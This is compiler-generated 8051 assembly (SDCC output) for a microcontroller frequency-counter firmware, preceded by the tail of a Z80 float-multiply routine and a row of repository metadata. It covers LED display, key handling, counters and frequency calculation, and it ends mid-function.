; exit : success
;
; DEHL= abs(x) * 10
; carry reset
;
; fail if overflow
;
; DEHL= +inf
; carry set, errno set
;
; uses : af, bc, de, hl, af', bc', de', hl'
._m32_mul10a
.m32_fsmul10a_fastcall
ld bc,$4120 ; (float)10 = 0x41200000
push bc
ld bc,0
push bc
res 7,d ; |x|
call m32_fsmul_callee
ret
| 25.078431 | 74 | 0.446443 |
dc541859fea06860d41b473a82c597a66844ad78 | 34,716 | asm | Assembly | obj/Release/main.asm | elezen/Cymomer | a75c1f6e8a577464c62199377afb8d7beae976d5 | [
"MIT"
] | null | null | null | obj/Release/main.asm | elezen/Cymomer | a75c1f6e8a577464c62199377afb8d7beae976d5 | [
"MIT"
] | null | null | null | obj/Release/main.asm | elezen/Cymomer | a75c1f6e8a577464c62199377afb8d7beae976d5 | [
"MIT"
] | null | null | null | ;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.0.0 #11528 (MINGW32)
;--------------------------------------------------------
.module main
.optsdcc -mmcs51 --model-small
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _finetune
.globl _normal
.globl _fast
.globl _freq
.globl _counter
.globl _cymomer
.globl _LedDigit
.globl _LedSegs
.globl _main
.globl _setmode
.globl _readKey
.globl _reset
.globl _getFreq
.globl _getCount
.globl _putlong
.globl _putstr
.globl _timer2
.globl _serialPort
.globl _counter1
.globl _counter0
.globl _CY
.globl _AC
.globl _F0
.globl _RS1
.globl _RS0
.globl _OV
.globl _FL
.globl _P
.globl _TF2
.globl _EXF2
.globl _RCLK
.globl _TCLK
.globl _EXEN2
.globl _TR2
.globl _C_T2
.globl _CP_RL2
.globl _T2CON_7
.globl _T2CON_6
.globl _T2CON_5
.globl _T2CON_4
.globl _T2CON_3
.globl _T2CON_2
.globl _T2CON_1
.globl _T2CON_0
.globl _PT2
.globl _PS
.globl _PT1
.globl _PX1
.globl _PT0
.globl _PX0
.globl _RD
.globl _WR
.globl _T1
.globl _T0
.globl _INT1
.globl _INT0
.globl _TXD
.globl _RXD
.globl _P3_7
.globl _P3_6
.globl _P3_5
.globl _P3_4
.globl _P3_3
.globl _P3_2
.globl _P3_1
.globl _P3_0
.globl _EA
.globl _ET2
.globl _ES
.globl _ET1
.globl _EX1
.globl _ET0
.globl _EX0
.globl _P2_7
.globl _P2_6
.globl _P2_5
.globl _P2_4
.globl _P2_3
.globl _P2_2
.globl _P2_1
.globl _P2_0
.globl _SM0
.globl _SM1
.globl _SM2
.globl _REN
.globl _TB8
.globl _RB8
.globl _TI
.globl _RI
.globl _T2EX
.globl _T2
.globl _P1_7
.globl _P1_6
.globl _P1_5
.globl _P1_4
.globl _P1_3
.globl _P1_2
.globl _P1_1
.globl _P1_0
.globl _TF1
.globl _TR1
.globl _TF0
.globl _TR0
.globl _IE1
.globl _IT1
.globl _IE0
.globl _IT0
.globl _P0_7
.globl _P0_6
.globl _P0_5
.globl _P0_4
.globl _P0_3
.globl _P0_2
.globl _P0_1
.globl _P0_0
.globl _B
.globl _A
.globl _ACC
.globl _PSW
.globl _TH2
.globl _TL2
.globl _RCAP2H
.globl _RCAP2L
.globl _T2MOD
.globl _T2CON
.globl _IP
.globl _P3
.globl _IE
.globl _P2
.globl _SBUF
.globl _SCON
.globl _P1
.globl _TH1
.globl _TH0
.globl _TL1
.globl _TL0
.globl _TMOD
.globl _TCON
.globl _PCON
.globl _DPH
.globl _DPL
.globl _SP
.globl _P0
.globl _longdown
.globl _gatelost
.globl _overflow
.globl _ledReady
.globl _leds
.globl _mode
.globl _freqcount
.globl _incount
.globl _freqCnt
.globl _inCnt
.globl _mainFreq
.globl _delay
.globl _keydly
.globl _speed
.globl _gateDelay
.globl _msTick
.globl _led_d
.globl _led_i
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
_P0 = 0x0080
_SP = 0x0081
_DPL = 0x0082
_DPH = 0x0083
_PCON = 0x0087
_TCON = 0x0088
_TMOD = 0x0089
_TL0 = 0x008a
_TL1 = 0x008b
_TH0 = 0x008c
_TH1 = 0x008d
_P1 = 0x0090
_SCON = 0x0098
_SBUF = 0x0099
_P2 = 0x00a0
_IE = 0x00a8
_P3 = 0x00b0
_IP = 0x00b8
_T2CON = 0x00c8
_T2MOD = 0x00c9
_RCAP2L = 0x00ca
_RCAP2H = 0x00cb
_TL2 = 0x00cc
_TH2 = 0x00cd
_PSW = 0x00d0
_ACC = 0x00e0
_A = 0x00e0
_B = 0x00f0
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
_P0_0 = 0x0080
_P0_1 = 0x0081
_P0_2 = 0x0082
_P0_3 = 0x0083
_P0_4 = 0x0084
_P0_5 = 0x0085
_P0_6 = 0x0086
_P0_7 = 0x0087
_IT0 = 0x0088
_IE0 = 0x0089
_IT1 = 0x008a
_IE1 = 0x008b
_TR0 = 0x008c
_TF0 = 0x008d
_TR1 = 0x008e
_TF1 = 0x008f
_P1_0 = 0x0090
_P1_1 = 0x0091
_P1_2 = 0x0092
_P1_3 = 0x0093
_P1_4 = 0x0094
_P1_5 = 0x0095
_P1_6 = 0x0096
_P1_7 = 0x0097
_T2 = 0x0090
_T2EX = 0x0091
_RI = 0x0098
_TI = 0x0099
_RB8 = 0x009a
_TB8 = 0x009b
_REN = 0x009c
_SM2 = 0x009d
_SM1 = 0x009e
_SM0 = 0x009f
_P2_0 = 0x00a0
_P2_1 = 0x00a1
_P2_2 = 0x00a2
_P2_3 = 0x00a3
_P2_4 = 0x00a4
_P2_5 = 0x00a5
_P2_6 = 0x00a6
_P2_7 = 0x00a7
_EX0 = 0x00a8
_ET0 = 0x00a9
_EX1 = 0x00aa
_ET1 = 0x00ab
_ES = 0x00ac
_ET2 = 0x00ad
_EA = 0x00af
_P3_0 = 0x00b0
_P3_1 = 0x00b1
_P3_2 = 0x00b2
_P3_3 = 0x00b3
_P3_4 = 0x00b4
_P3_5 = 0x00b5
_P3_6 = 0x00b6
_P3_7 = 0x00b7
_RXD = 0x00b0
_TXD = 0x00b1
_INT0 = 0x00b2
_INT1 = 0x00b3
_T0 = 0x00b4
_T1 = 0x00b5
_WR = 0x00b6
_RD = 0x00b7
_PX0 = 0x00b8
_PT0 = 0x00b9
_PX1 = 0x00ba
_PT1 = 0x00bb
_PS = 0x00bc
_PT2 = 0x00bd
_T2CON_0 = 0x00c8
_T2CON_1 = 0x00c9
_T2CON_2 = 0x00ca
_T2CON_3 = 0x00cb
_T2CON_4 = 0x00cc
_T2CON_5 = 0x00cd
_T2CON_6 = 0x00ce
_T2CON_7 = 0x00cf
_CP_RL2 = 0x00c8
_C_T2 = 0x00c9
_TR2 = 0x00ca
_EXEN2 = 0x00cb
_TCLK = 0x00cc
_RCLK = 0x00cd
_EXF2 = 0x00ce
_TF2 = 0x00cf
_P = 0x00d0
_FL = 0x00d1
_OV = 0x00d2
_RS0 = 0x00d3
_RS1 = 0x00d4
_F0 = 0x00d5
_AC = 0x00d6
_CY = 0x00d7
;--------------------------------------------------------
; overlayable register banks
;--------------------------------------------------------
.area REG_BANK_0 (REL,OVR,DATA)
.ds 8
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
.area DSEG (DATA)
_led_i::
.ds 1
_led_d::
.ds 1
_msTick::
.ds 1
_gateDelay::
.ds 1
_speed::
.ds 1
_keydly::
.ds 1
_delay::
.ds 2
_mainFreq::
.ds 4
_inCnt::
.ds 4
_freqCnt::
.ds 4
_incount::
.ds 4
_freqcount::
.ds 4
_putlong_a_65536_13:
.ds 4
_readKey_keylong_65536_25:
.ds 2
_readKey_gotkey_65536_25:
.ds 1
_mode::
.ds 1
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
.area OSEG (OVR,DATA)
.area OSEG (OVR,DATA)
;--------------------------------------------------------
; Stack segment in internal ram
;--------------------------------------------------------
.area SSEG
__start__stack:
.ds 1
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
.area ISEG (DATA)
_leds::
.ds 8
_putlong_buf_65536_14:
.ds 8
;--------------------------------------------------------
; absolute internal ram data
;--------------------------------------------------------
.area IABS (ABS,DATA)
.area IABS (ABS,DATA)
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
.area BSEG (BIT)
_ledReady::
.ds 1
_overflow::
.ds 1
_gatelost::
.ds 1
_longdown::
.ds 1
_readKey_longdown_65536_25:
.ds 1
;--------------------------------------------------------
; paged external ram data
;--------------------------------------------------------
.area PSEG (PAG,XDATA)
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
.area XSEG (XDATA)
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area XABS (ABS,XDATA)
;--------------------------------------------------------
; external initialized ram data
;--------------------------------------------------------
.area XISEG (XDATA)
.area HOME (CODE)
.area GSINIT0 (CODE)
.area GSINIT1 (CODE)
.area GSINIT2 (CODE)
.area GSINIT3 (CODE)
.area GSINIT4 (CODE)
.area GSINIT5 (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area CSEG (CODE)
;--------------------------------------------------------
; interrupt vector
;--------------------------------------------------------
.area HOME (CODE)
__interrupt_vect:
ljmp __sdcc_gsinit_startup
reti
.ds 7
ljmp _counter0
.ds 5
reti
.ds 7
ljmp _counter1
.ds 5
ljmp _serialPort
.ds 5
ljmp _timer2
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area HOME (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area GSINIT (CODE)
.globl __sdcc_gsinit_startup
.globl __sdcc_program_startup
.globl __start__stack
.globl __mcs51_genXINIT
.globl __mcs51_genXRAMCLEAR
.globl __mcs51_genRAMCLEAR
;------------------------------------------------------------
;Allocation info for local variables in function 'readKey'
;------------------------------------------------------------
;keylong Allocated with name '_readKey_keylong_65536_25'
;gotkey Allocated with name '_readKey_gotkey_65536_25'
;k Allocated to registers r7
;key Allocated to registers r6
;------------------------------------------------------------
; main.c:138: static __bit longdown=false;
; assignBit
clr _readKey_longdown_65536_25
; main.c:139: static unsigned int keylong=KEYLONG;
mov _readKey_keylong_65536_25,#0xf4
mov (_readKey_keylong_65536_25 + 1),#0x01
; main.c:141: static unsigned char gotkey=0;
mov _readKey_gotkey_65536_25,#0x00
; main.c:21: char led_i=0;
mov _led_i,#0x00
; main.c:24: unsigned char msTick=0,gateDelay=0,speed=NORMAL,keydly=KEYDLY;
mov _msTick,#0x00
; main.c:24: unsigned int delay=0;
mov _gateDelay,#0x00
; main.c:24: unsigned char msTick=0,gateDelay=0,speed=NORMAL,keydly=KEYDLY;
mov _speed,#0x64
; main.c:24: unsigned int delay=0;
mov _keydly,#0x32
; main.c:25: unsigned long mainFreq=FREQ;
clr a
mov _delay,a
mov (_delay + 1),a
; main.c:26: __code char cymomer[] = {0x63,0x89,0x55,0xc5,0x55,0x21,0xf5,0xff};
mov _mainFreq,#0x80
mov (_mainFreq + 1),#0x96
mov (_mainFreq + 2),#0x98
; 1-genFromRTrack replaced mov (_mainFreq + 3),#0x00
mov (_mainFreq + 3),a
; main.c:161: enum{Freq,Counter,Tune} mode=Freq;
; 1-genFromRTrack replaced mov _mode,#0x00
mov _mode,a
; main.c:22: __bit ledReady,overflow=false,gatelost=false;
; assignBit
clr _overflow
; main.c:22: char led_d;
; assignBit
clr _gatelost
; main.c:135: __bit longdown=false;
; assignBit
clr _longdown
.area GSFINAL (CODE)
ljmp __sdcc_program_startup
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area HOME (CODE)
.area HOME (CODE)
__sdcc_program_startup:
ljmp _main
; return from main will return to caller
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area CSEG (CODE)
;------------------------------------------------------------
;Allocation info for local variables in function 'counter0'
;------------------------------------------------------------
; main.c:41: void counter0() __interrupt 1{
; -----------------------------------------
; function counter0
; -----------------------------------------
_counter0:
ar7 = 0x07
ar6 = 0x06
ar5 = 0x05
ar4 = 0x04
ar3 = 0x03
ar2 = 0x02
ar1 = 0x01
ar0 = 0x00
push acc
; main.c:42: ++inCnt.b3;
mov a,(_inCnt + 0x0003)
inc a
mov (_inCnt + 0x0003),a
; main.c:43: }
pop acc
reti
; eliminated unneeded mov psw,# (no regs used in bank)
; eliminated unneeded push/pop ar1
; eliminated unneeded push/pop ar0
; eliminated unneeded push/pop psw
; eliminated unneeded push/pop dpl
; eliminated unneeded push/pop dph
; eliminated unneeded push/pop b
;------------------------------------------------------------
;Allocation info for local variables in function 'counter1'
;------------------------------------------------------------
; main.c:44: void counter1() __interrupt 3{
; -----------------------------------------
; function counter1
; -----------------------------------------
_counter1:
push acc
; main.c:45: ++freqCnt.b3;
mov a,(_freqCnt + 0x0003)
inc a
mov (_freqCnt + 0x0003),a
; main.c:46: }
pop acc
reti
; eliminated unneeded mov psw,# (no regs used in bank)
; eliminated unneeded push/pop ar1
; eliminated unneeded push/pop ar0
; eliminated unneeded push/pop psw
; eliminated unneeded push/pop dpl
; eliminated unneeded push/pop dph
; eliminated unneeded push/pop b
;------------------------------------------------------------
;Allocation info for local variables in function 'serialPort'
;------------------------------------------------------------
; main.c:47: void serialPort() __interrupt 4{
; -----------------------------------------
; function serialPort
; -----------------------------------------
_serialPort:
push acc
push ar1
push psw
mov psw,#0x00
; main.c:48: if(RI)RI=0;
; assignBit
jbc _RI,00122$
sjmp 00102$
00122$:
00102$:
; main.c:49: if(TI){
; main.c:50: TI=0;
; assignBit
jbc _TI,00123$
sjmp 00108$
00123$:
; main.c:51: if(!ledReady){
jb _ledReady,00104$
; main.c:52: SBUF=leds[led_i];
mov a,_led_i
add a,#_leds
mov r1,a
mov _SBUF,@r1
; main.c:53: P3_2=0;
; assignBit
clr _P3_2
; main.c:54: ledReady=1;
; assignBit
setb _ledReady
sjmp 00108$
00104$:
; main.c:56: P3_2=1;
; assignBit
setb _P3_2
00108$:
; main.c:59: }
pop psw
pop ar1
pop acc
reti
; eliminated unneeded push/pop ar0
; eliminated unneeded push/pop dpl
; eliminated unneeded push/pop dph
; eliminated unneeded push/pop b
;------------------------------------------------------------
;Allocation info for local variables in function 'timer2'
;------------------------------------------------------------
; main.c:60: void timer2(void) __interrupt 5{
; -----------------------------------------
; function timer2
; -----------------------------------------
_timer2:
push acc
push dpl
push dph
push psw
; main.c:61: TF2=0;
; assignBit
clr _TF2
; main.c:62: ledReady=0;
; assignBit
clr _ledReady
; main.c:63: if(++led_i>7)led_i=0;
inc _led_i
mov a,_led_i
add a,#0xff - 0x07
jnc 00102$
mov _led_i,#0x00
00102$:
; main.c:64: SBUF=LedDigit[led_i];
mov a,_led_i
mov dptr,#_LedDigit
movc a,@a+dptr
mov _SBUF,a
; main.c:65: if(--msTick==0){
djnz _msTick,00107$
; main.c:66: msTick=speed;
mov _msTick,_speed
; main.c:67: if(gateDelay>0)gateDelay--;
mov a,_gateDelay
jz 00107$
dec _gateDelay
00107$:
; main.c:69: }
pop psw
pop dph
pop dpl
pop acc
reti
; eliminated unneeded mov psw,# (no regs used in bank)
; eliminated unneeded push/pop b
;------------------------------------------------------------
;Allocation info for local variables in function 'putstr'
;------------------------------------------------------------
;s Allocated to registers
;i Allocated to registers r5
;------------------------------------------------------------
; main.c:73: void putstr(__code char *s){
; -----------------------------------------
; function putstr
; -----------------------------------------
_putstr:
mov r6,dpl
mov r7,dph
; main.c:75: do{
mov r5,#0x07
00101$:
; main.c:76: leds[i]=*s;
mov a,r5
add a,#_leds
mov r1,a
mov dpl,r6
mov dph,r7
clr a
movc a,@a+dptr
mov r4,a
inc dptr
mov r6,dpl
mov r7,dph
mov @r1,ar4
; main.c:77: s++;
; main.c:78: }while(i--);
mov ar4,r5
dec r5
mov a,r4
jnz 00101$
; main.c:79: }
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'putlong'
;------------------------------------------------------------
;a Allocated with name '_putlong_a_65536_13'
;i Allocated to registers r3
;c Allocated to registers r7
;buf Allocated with name '_putlong_buf_65536_14'
;------------------------------------------------------------
; main.c:81: void putlong(unsigned long a){
; -----------------------------------------
; function putlong
; -----------------------------------------
_putlong:
mov _putlong_a_65536_13,dpl
mov (_putlong_a_65536_13 + 1),dph
mov (_putlong_a_65536_13 + 2),b
mov (_putlong_a_65536_13 + 3),a
; main.c:84: for(i=0;i<8;i++){
mov r3,#0x00
00116$:
; main.c:85: if(a!=0||i==0){
mov a,_putlong_a_65536_13
orl a,(_putlong_a_65536_13 + 1)
orl a,(_putlong_a_65536_13 + 2)
orl a,(_putlong_a_65536_13 + 3)
jnz 00104$
mov a,r3
jnz 00105$
00104$:
; main.c:86: c=LedSegs[a%10];
mov __modulong_PARM_2,#0x0a
clr a
mov (__modulong_PARM_2 + 1),a
mov (__modulong_PARM_2 + 2),a
mov (__modulong_PARM_2 + 3),a
mov dpl,_putlong_a_65536_13
mov dph,(_putlong_a_65536_13 + 1)
mov b,(_putlong_a_65536_13 + 2)
mov a,(_putlong_a_65536_13 + 3)
push ar3
lcall __modulong
mov r2,dpl
mov r5,dph
pop ar3
mov a,r2
add a,#_LedSegs
mov dpl,a
mov a,r5
addc a,#(_LedSegs >> 8)
mov dph,a
clr a
movc a,@a+dptr
mov r7,a
; main.c:87: if(i==3||i==6)c&=0xfe;
cjne r3,#0x03,00168$
sjmp 00101$
00168$:
cjne r3,#0x06,00102$
00101$:
anl ar7,#0xfe
00102$:
; main.c:88: buf[i]=c;
mov a,r3
add a,#_putlong_buf_65536_14
mov r0,a
mov @r0,ar7
; main.c:89: a/=10;
mov __divulong_PARM_2,#0x0a
clr a
mov (__divulong_PARM_2 + 1),a
mov (__divulong_PARM_2 + 2),a
mov (__divulong_PARM_2 + 3),a
mov dpl,_putlong_a_65536_13
mov dph,(_putlong_a_65536_13 + 1)
mov b,(_putlong_a_65536_13 + 2)
mov a,(_putlong_a_65536_13 + 3)
push ar3
lcall __divulong
mov _putlong_a_65536_13,dpl
mov (_putlong_a_65536_13 + 1),dph
mov (_putlong_a_65536_13 + 2),b
mov (_putlong_a_65536_13 + 3),a
pop ar3
sjmp 00117$
00105$:
; main.c:91: buf[i]=0xff;
mov a,r3
add a,#_putlong_buf_65536_14
mov r0,a
mov @r0,#0xff
00117$:
; main.c:84: for(i=0;i<8;i++){
inc r3
cjne r3,#0x08,00171$
00171$:
jnc 00172$
ljmp 00116$
00172$:
; main.c:94: while(a>0){
00110$:
mov a,_putlong_a_65536_13
orl a,(_putlong_a_65536_13 + 1)
orl a,(_putlong_a_65536_13 + 2)
orl a,(_putlong_a_65536_13 + 3)
jz 00112$
; main.c:95: for(i=0;i<7;i++)buf[i]=buf[i+1];
mov r7,#0x00
00118$:
mov a,r7
add a,#_putlong_buf_65536_14
mov r1,a
mov ar6,r7
mov a,r6
inc a
add a,#_putlong_buf_65536_14
mov r0,a
mov ar6,@r0
mov @r1,ar6
inc r7
cjne r7,#0x07,00174$
00174$:
jc 00118$
; main.c:96: buf[7]=LedSegs[a%10];
mov __modulong_PARM_2,#0x0a
clr a
mov (__modulong_PARM_2 + 1),a
mov (__modulong_PARM_2 + 2),a
mov (__modulong_PARM_2 + 3),a
mov dpl,_putlong_a_65536_13
mov dph,(_putlong_a_65536_13 + 1)
mov b,(_putlong_a_65536_13 + 2)
mov a,(_putlong_a_65536_13 + 3)
lcall __modulong
mov r4,dpl
mov r5,dph
mov a,r4
add a,#_LedSegs
mov dpl,a
mov a,r5
addc a,#(_LedSegs >> 8)
mov dph,a
clr a
movc a,@a+dptr
mov r7,a
mov r0,#(_putlong_buf_65536_14 + 0x0007)
mov @r0,ar7
; main.c:97: a/=10;
mov __divulong_PARM_2,#0x0a
clr a
mov (__divulong_PARM_2 + 1),a
mov (__divulong_PARM_2 + 2),a
mov (__divulong_PARM_2 + 3),a
mov dpl,_putlong_a_65536_13
mov dph,(_putlong_a_65536_13 + 1)
mov b,(_putlong_a_65536_13 + 2)
mov a,(_putlong_a_65536_13 + 3)
lcall __divulong
mov _putlong_a_65536_13,dpl
mov (_putlong_a_65536_13 + 1),dph
mov (_putlong_a_65536_13 + 2),b
mov (_putlong_a_65536_13 + 3),a
sjmp 00110$
00112$:
; main.c:99: if(gatelost)buf[0]&=0xfe;
jnb _gatelost,00132$
mov r0,#_putlong_buf_65536_14
mov ar7,@r0
mov a,#0xfe
anl a,r7
mov r0,#_putlong_buf_65536_14
mov @r0,a
; main.c:100: for(i=0;i<8;i++)leds[i]=buf[i];
00132$:
mov r7,#0x00
00120$:
mov a,r7
add a,#_leds
mov r1,a
mov a,r7
add a,#_putlong_buf_65536_14
mov r0,a
mov ar6,@r0
mov @r1,ar6
inc r7
cjne r7,#0x08,00177$
00177$:
jc 00120$
; main.c:101: }
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'getCount'
;------------------------------------------------------------
; main.c:105: unsigned long getCount(){
; -----------------------------------------
; function getCount
; -----------------------------------------
_getCount:
; main.c:106: inCnt.b0=P0;
mov _inCnt,_P0
; main.c:107: inCnt.b1=TL0;
mov (_inCnt + 0x0001),_TL0
; main.c:108: inCnt.b2=TH0;
mov (_inCnt + 0x0002),_TH0
; main.c:109: return inCnt.l;
mov dpl,_inCnt
mov dph,(_inCnt + 1)
mov b,(_inCnt + 2)
mov a,(_inCnt + 3)
; main.c:110: }
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'getFreq'
;------------------------------------------------------------
; main.c:111: unsigned long getFreq(){
; -----------------------------------------
; function getFreq
; -----------------------------------------
_getFreq:
; main.c:112: if(freqcount==0)return 0;
mov a,_freqcount
orl a,(_freqcount + 1)
orl a,(_freqcount + 2)
orl a,(_freqcount + 3)
jnz 00102$
mov dptr,#(0x00&0x00ff)
clr a
mov b,a
ret
00102$:
; main.c:113: return (unsigned long)((((unsigned long long)incount)*mainFreq*10/freqcount+5)/10);
mov r0,_incount
mov r1,(_incount + 1)
mov r2,(_incount + 2)
mov r3,(_incount + 3)
mov r4,#0x00
mov r5,#0x00
mov r6,#0x00
mov r7,#0x00
mov __mullonglong_PARM_2,_mainFreq
mov (__mullonglong_PARM_2 + 1),(_mainFreq + 1)
mov (__mullonglong_PARM_2 + 2),(_mainFreq + 2)
mov (__mullonglong_PARM_2 + 3),(_mainFreq + 3)
; 1-genFromRTrack replaced mov (__mullonglong_PARM_2 + 4),#0x00
mov (__mullonglong_PARM_2 + 4),r7
; 1-genFromRTrack replaced mov (__mullonglong_PARM_2 + 5),#0x00
mov (__mullonglong_PARM_2 + 5),r7
; 1-genFromRTrack replaced mov (__mullonglong_PARM_2 + 6),#0x00
mov (__mullonglong_PARM_2 + 6),r7
; 1-genFromRTrack replaced mov (__mullonglong_PARM_2 + 7),#0x00
mov (__mullonglong_PARM_2 + 7),r7
mov dpl,r0
mov dph,r1
mov b,r2
mov a,r3
lcall __mullonglong
mov __mullonglong_PARM_2,dpl
mov (__mullonglong_PARM_2 + 1),dph
mov (__mullonglong_PARM_2 + 2),b
mov (__mullonglong_PARM_2 + 3),a
mov (__mullonglong_PARM_2 + 4),r4
mov (__mullonglong_PARM_2 + 5),r5
mov (__mullonglong_PARM_2 + 6),r6
mov (__mullonglong_PARM_2 + 7),r7
mov dptr,#(0x0a&0x00ff)
clr a
mov b,a
mov r4,a
mov r5,a
mov r6,a
mov r7,a
lcall __mullonglong
mov r0,dpl
mov r1,dph
mov r2,b
mov r3,a
mov __divulonglong_PARM_2,_freqcount
mov (__divulonglong_PARM_2 + 1),(_freqcount + 1)
mov (__divulonglong_PARM_2 + 2),(_freqcount + 2)
mov (__divulonglong_PARM_2 + 3),(_freqcount + 3)
mov (__divulonglong_PARM_2 + 4),#0x00
mov (__divulonglong_PARM_2 + 5),#0x00
mov (__divulonglong_PARM_2 + 6),#0x00
mov (__divulonglong_PARM_2 + 7),#0x00
mov dpl,r0
mov dph,r1
mov b,r2
mov a,r3
lcall __divulonglong
mov r0,dpl
mov r1,dph
mov r2,b
mov r3,a
mov a,#0x05
add a,r0
mov r0,a
clr a
addc a,r1
mov r1,a
clr a
addc a,r2
mov r2,a
clr a
addc a,r3
mov r3,a
clr a
addc a,r4
mov r4,a
clr a
addc a,r5
mov r5,a
clr a
addc a,r6
mov r6,a
clr a
addc a,r7
mov r7,a
mov __divulonglong_PARM_2,#0x0a
clr a
mov (__divulonglong_PARM_2 + 1),a
mov (__divulonglong_PARM_2 + 2),a
mov (__divulonglong_PARM_2 + 3),a
mov (__divulonglong_PARM_2 + 4),a
mov (__divulonglong_PARM_2 + 5),a
mov (__divulonglong_PARM_2 + 6),a
mov (__divulonglong_PARM_2 + 7),a
mov dpl,r0
mov dph,r1
mov b,r2
mov a,r3
; main.c:114: }
ljmp __divulonglong
;------------------------------------------------------------
;Allocation info for local variables in function 'reset'
;------------------------------------------------------------
; main.c:115: void reset(){
; -----------------------------------------
; function reset
; -----------------------------------------
_reset:
; main.c:116: GATECTL=0;
; assignBit
clr _P3_6
; main.c:117: TR0=0;TR1=0;
; assignBit
clr _TR0
; assignBit
clr _TR1
; main.c:118: inCnt.b0=P0;
mov _inCnt,_P0
; main.c:119: inCnt.b1=TL0;
mov (_inCnt + 0x0001),_TL0
; main.c:120: inCnt.b2=TH0;
mov (_inCnt + 0x0002),_TH0
; main.c:121: incount=inCnt.l;
mov _incount,(_inCnt + 0)
mov (_incount + 1),(_inCnt + 1)
mov (_incount + 2),(_inCnt + 2)
mov (_incount + 3),(_inCnt + 3)
; main.c:122: inCnt.b3=0;
mov (_inCnt + 0x0003),#0x00
; main.c:123: freqCnt.b0=P2;
mov _freqCnt,_P2
; main.c:124: freqCnt.b1=TL1;
mov (_freqCnt + 0x0001),_TL1
; main.c:125: freqCnt.b2=TH1;
mov (_freqCnt + 0x0002),_TH1
; main.c:126: freqcount=freqCnt.l;
mov _freqcount,(_freqCnt + 0)
mov (_freqcount + 1),(_freqCnt + 1)
mov (_freqcount + 2),(_freqCnt + 2)
mov (_freqcount + 3),(_freqCnt + 3)
; main.c:127: freqCnt.b3=0;
mov (_freqCnt + 0x0003),#0x00
; main.c:128: CLR=1;
; assignBit
setb _P3_7
; main.c:129: TH0=TL0=TH1=TL1=0;
mov _TL1,#0x00
mov _TH1,#0x00
mov _TL0,#0x00
mov _TH0,#0x00
; main.c:130: overflow=false;
; assignBit
clr _overflow
; main.c:131: CLR=0;
; assignBit
clr _P3_7
; main.c:132: TR0=1;TR1=1;
; assignBit
setb _TR0
; assignBit
setb _TR1
; main.c:133: GATECTL=1;
; assignBit
setb _P3_6
; main.c:134: }
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'readKey'
;------------------------------------------------------------
;keylong Allocated with name '_readKey_keylong_65536_25'
;gotkey Allocated with name '_readKey_gotkey_65536_25'
;k Allocated to registers r7
;key Allocated to registers r6
;------------------------------------------------------------
; main.c:137: unsigned char readKey(){
; -----------------------------------------
; function readKey
; -----------------------------------------
_readKey:
; main.c:140: unsigned char k=0,key=0;
mov r7,#0x00
mov r6,#0x00
; main.c:142: if(!KEY)key=1;if(!KEY2)key=2;
jb _P1_0,00102$
mov r6,#0x01
00102$:
jb _P1_1,00104$
mov r6,#0x02
00104$:
; main.c:143: if(key!=0){
mov a,r6
jz 00116$
; main.c:144: gotkey=key;
mov _readKey_gotkey_65536_25,r6
; main.c:145: if(keydly>0)keydly--;
mov a,_keydly
jz 00106$
dec _keydly
00106$:
; main.c:146: if(keylong>0)keylong--;
mov a,_readKey_keylong_65536_25
orl a,(_readKey_keylong_65536_25 + 1)
jz 00110$
dec _readKey_keylong_65536_25
mov a,#0xff
cjne a,_readKey_keylong_65536_25,00157$
dec (_readKey_keylong_65536_25 + 1)
00157$:
sjmp 00117$
00110$:
; main.c:148: if(!longdown){
jb _readKey_longdown_65536_25,00117$
; main.c:149: longdown=true;
; assignBit
setb _readKey_longdown_65536_25
; main.c:150: k=key+2;
mov a,#0x02
add a,r6
mov r7,a
sjmp 00117$
00116$:
; main.c:154: if(keydly==0 && !longdown)k=gotkey;
mov a,_keydly
jnz 00113$
jb _readKey_longdown_65536_25,00113$
mov r7,_readKey_gotkey_65536_25
00113$:
; main.c:155: keydly=KEYDLY;
mov _keydly,#0x32
; main.c:156: keylong=KEYLONG;
mov _readKey_keylong_65536_25,#0xf4
mov (_readKey_keylong_65536_25 + 1),#0x01
; main.c:157: longdown=false;
; assignBit
clr _readKey_longdown_65536_25
00117$:
; main.c:159: return k;
mov dpl,r7
; main.c:160: }
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'setmode'
;------------------------------------------------------------
; main.c:162: void setmode(){
; -----------------------------------------
; function setmode
; -----------------------------------------
_setmode:
; main.c:165: switch(readKey()){
lcall _readKey
mov r7,dpl
cjne r7,#0x01,00170$
sjmp 00101$
00170$:
cjne r7,#0x02,00171$
sjmp 00106$
00171$:
cjne r7,#0x03,00172$
ljmp 00111$
00172$:
cjne r7,#0x04,00173$
ljmp 00115$
00173$:
ret
; main.c:166: case 1: //+
00101$:
; main.c:167: switch(mode){
clr a
cjne a,_mode,00174$
sjmp 00102$
00174$:
mov a,#0x01
cjne a,_mode,00175$
sjmp 00103$
00175$:
mov a,#0x02
cjne a,_mode,00176$
sjmp 00104$
00176$:
ret
; main.c:168: case Freq:
00102$:
; main.c:169: speed=NORMAL;
mov _speed,#0x64
; main.c:170: putstr(normal);
mov dptr,#_normal
lcall _putstr
; main.c:171: reset();
lcall _reset
; main.c:172: gateDelay=16;
mov _gateDelay,#0x10
; main.c:173: delay=1000;
mov _delay,#0xe8
mov (_delay + 1),#0x03
; main.c:174: break;
ret
; main.c:175: case Counter:
00103$:
; main.c:176: GATECTL=!GATECTL;
cpl _P3_6
; main.c:177: break;
ret
; main.c:178: case Tune:
00104$:
; main.c:179: ++mainFreq;
